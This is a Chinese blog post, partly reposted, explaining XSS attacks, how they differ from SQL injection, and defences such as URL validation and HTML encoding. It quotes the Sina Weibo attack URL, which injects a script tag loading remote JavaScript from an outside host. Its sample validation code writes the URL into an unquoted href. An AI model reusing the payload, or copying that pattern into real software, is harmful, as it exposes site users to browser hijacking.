网络攻击之二：XSS（之一是SQL注入，前面有文章）

学习了 http://www.oschina.net/question/565065_57506

（这里做了转载 http://blog.csdn.net/stilling2006/article/details/8526498）

Cross-site scripting(XSS)，是一种经常出现在Web应用中的计算机安全漏洞，它允许恶意Web用户将代码植入到提供给其它用户使用的页面中。比如，包括HTML代码和客户端脚本的页面。为不和层叠样式表(CSS)的缩写混淆，通常将跨站脚本缩写为XSS。

SQL Injection是把恶意的代码注入的数据库并且执行该SQL语句，最后返回相应数据，所以SQL Injection是作用于数据库的，

而XSS是通过发送恶意的代码到服务，让服务器把恶意代码发送到其他用户浏览器中，最后劫持用户浏览器，所以XSS是作用于用户的。

XSS主要攻击方式有两种：

一种就像SQL Injection攻击一样，我把一段脚本注入到服务器上，用户访问方法服务器的某个URL，这个URL就会把远端的js注入进来，这个js有可能自动进行很多操作。比如这次事件中的帮你发微博，帮你发站内消息等。注入有很多方法，比如：提交表单，更改URL参数，上传图片，设置签名，等等。

另一类则是来自外部的攻击，主要指的自己构造XSS 跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点，我们自己构造一个跨站网页放在自己的服务器上，然后通过结合其它技术，如社会工程学等，欺骗目标服务器的管理员打开。这一类攻击的威胁相对较低，至少Ajax 要发起跨站调用是非常困难的（你可能需要hack浏览器）。

通过上面的示意例子我们发现XSS攻击和SQL Injection存在着相同点，它们是通过注恶意代码进行攻击的，不同点是它们攻击对象不尽相同。

XSS是通过注入恶意代码，如：JavaScript, VBScript, ActiveX, HTML, 或 Flash等来劫持用户浏览器，进而通过构造恶意的URL。

构造恶意Url的意思是：

很多网站页面元素拼接是由url参数来组成的。

如果恶意篡改参数，会将一些script也混在页面中发给用户。用户打开时，这些js脚本就运行了。

可以改了url之后，把这些url发给用户，让用户点击。用户看到host是大网站就没有提高警惕，却误让这些js脚本得到执行了。

下面这段JS可以实现URL的校验：

var url = Request.QueryString["url"];
if (!string.IsNullOrEmpty(url))
{
    this.litLeavingTag.Text =
    Regex.IsMatch(url, @"\w+:\/{2}[\d\w-]+(\.[\d\w-]+)*(?:(?:\/[^\s/]*))*") ?
    string.Format("<a href={0} >examplejob</a>", url) : "The url is invalid.";
}

上面这个正则，我也有有一点，没看到，尤其是为什么需要两个"(?:"。关于正则语法和学习，参考我另外一个转载的文章：

http://www.cnblogs.com/charlesblc/p/5990322.html

HTML编码输出：

另一种必不可少的XSS防御策略是输出编码方式，它通过确保在一个字符串中的每个字符都以正确的形式呈现。例如，为了在浏览器中正确地呈现“<”，“>”或空格等文本时，我们需要对其进行编码处理，否则浏览器将根据这些特性文本去执行其功能，而不是正确的呈现在页面上。

我们常见的HTML编码有：&nbsp;，&lt;，&gt;和&quot; 等等。

非HTML编码输出：

当我们把HTML编码后的文本通过消息提示框显示时，文本还是以编码后的形式显示没有进行解码处理，但用户一看到他们的第一反应就是说我们的程序出现乱码有问题，其实我们心知只是还没有进行解码处理而已，所以在一些非HTML编码中我们还要先进行解码处理

新浪微博XSS攻击事件

 想必大家对新浪微博XSS攻击事件记忆犹新吧！它利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本，然后通过http://163.fm/PxZHoxn短链接服务，将链接指向：

     ">">">http://weibo.com/pub/star/<script src=//www.2kt.cn/images/t.js></script>

link：http://weibo.com/pub/star/%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E

     URL编码后显示：

     http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

     通过上面的例子大家发现其实上面的XSS攻击也并不是那么神秘。

总结

XSS攻击作为Web业务的最大威胁之一，它犯下了种种罪行例如新浪微博的XSS攻击事件，不仅危害Web业务本身，对访问Web业务的用户也会带来直接的影响，如何防御和阻止XSS攻击，保障Web站点的业务安全，这个重担有落到每一位开发者的身上了。